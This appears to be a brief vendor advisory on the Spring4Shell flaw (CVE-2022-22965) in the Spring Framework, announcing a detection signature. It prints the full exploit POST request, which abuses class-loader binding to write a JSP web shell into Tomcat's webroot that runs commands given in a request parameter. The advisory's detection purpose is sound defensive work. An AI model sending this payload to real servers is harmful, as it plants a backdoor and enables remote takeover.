Spring4Shell Remote Code Execution (CVE-2022-22965)

Application Details

Spring is a popular Java Web application development framework.


Spring Framework could allow a remote attacker to execute arbitrary code on the system, caused by the improper handling of PropertyDescriptor objects used with data binding.


By sending specially crafted data to a Spring Java application, an attacker could exploit this vulnerability to execute arbitrary code on the system. Note: The exploit requires Spring Framework to be run on Tomcat as a WAR deployment with JDK 9 or higher using spring-webmvc or spring-webflux. Note: This vulnerability is also known as Spring4Shell or SpringShell.

POST /springmvc5-helloworld-example-0.0.1-SNAPSHOT/rapid7

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


By turning this into a traffic file and matching rule, we are able to detect attempts to perform remote code execution on an affected system.


Idappcom have created signature 8022533 for this vulnerability.



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